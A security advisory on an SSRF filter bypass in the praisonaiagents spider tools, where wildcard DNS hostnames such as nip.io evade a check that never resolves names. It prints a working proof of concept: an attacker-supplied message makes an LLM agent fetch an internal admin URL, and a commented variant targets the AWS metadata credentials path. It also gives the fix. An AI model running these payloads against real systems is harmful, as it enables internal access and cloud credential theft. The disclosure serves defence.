high · 8.5CVE-2026-55526Aug 25, 2026

CVE-2026-55526: praisonaiagents SSRF Protection Bypass via Wildcard DNS Hostname

Shubham Kandhare
Security Engagement Manager, SecureLayer7

The spider_tools SSRF filter in praisonaiagents never resolves hostnames to IP addresses, so an attacker can use a public wildcard DNS service like nip.io to reach internal services that the filter…

Packagepraisonaiagents
Ecosystempip
Affected< 1.6.58
Fixed in1.6.58
CVE-2026-55526: praisonaiagents SSRF Protection Bypass via Wildcard DNS Hostname

The problem

The _host_is_blocked() function in spider_tools.py checks URLs against a blocklist of IP literals and known aliases, but it never calls DNS resolution. Any real hostname that resolves to a loopback or private IP, including public wildcard services like 127.0.0.1.nip.io, passes the check and gets fetched.

All four spider tools (scrape_page, extract_links, crawl, extract_text) are registered as LLM-callable agent tools. An attacker who can supply a URL to an agent, directly or via a job submission, can trigger a full-read SSRF against any service reachable from the host.

On AWS EC2 with IMDSv1, this path reaches the instance metadata service and can yield IAM credentials.

Proof of concept

A working proof-of-concept for CVE-2026-55526 in praisonaiagents, with the exact payload below.

python
# Step 1: verify the filter bypass (no network needed)
from praisonaiagents.tools.spider_tools import _host_is_blocked

print(_host_is_blocked("127.0.0.1.nip.io"))  # False — NOT blocked
print(_host_is_blocked("127.0.0.1"))           # True  — correctly blocked

# Step 2: agent-level trigger
from praisonaiagents import Agent
from praisonaiagents.tools import scrape_page

agent = Agent(
    name="WebResearcher",
    instructions="You are a research assistant. Fetch and summarize the given URL.",
    tools=[scrape_page],
)

# Attacker-supplied message — agent calls scrape_page and hits 127.0.0.1:8080
result = agent.start("Please fetch and summarize: http://127.0.0.1.nip.io:8080/admin")
print(result)

# AWS IMDS variant (IMDSv1 only)
# scrape_page("http://169-254-169-254.sslip.io/latest/meta-data/iam/security-credentials/")

Both ipaddress.ip_address() and socket.inet_aton() only parse dotted-decimal strings. For any real hostname like 127.0.0.1.nip.io, both calls raise exceptions and the function falls through to return False, marking the host as allowed.

The fix mirrors the existing pattern already used in web_crawl_tools.py line 228: call socket.gethostbyname(hostname) to resolve the DNS name, then evaluate the resulting IP with _ip_blocked(). The patch also fails closed on socket.gaierror, blocking any hostname that cannot be resolved.

This was a patch-gap: the DNS resolution fix was applied to web_crawl_tools.py in commit 004dcfef but was never ported to spider_tools.py.

The fix

Upgrade praisonaiagents to version 1.6.58 or later (pip install --upgrade praisonaiagents). The fix adds socket.gethostbyname(hostname) inside _host_is_blocked() so that resolved IPs are checked against the private/loopback blocklist, and fails closed for unresolvable hostnames.

Reporter not attributed.

References: [1][2][3][4]

Related research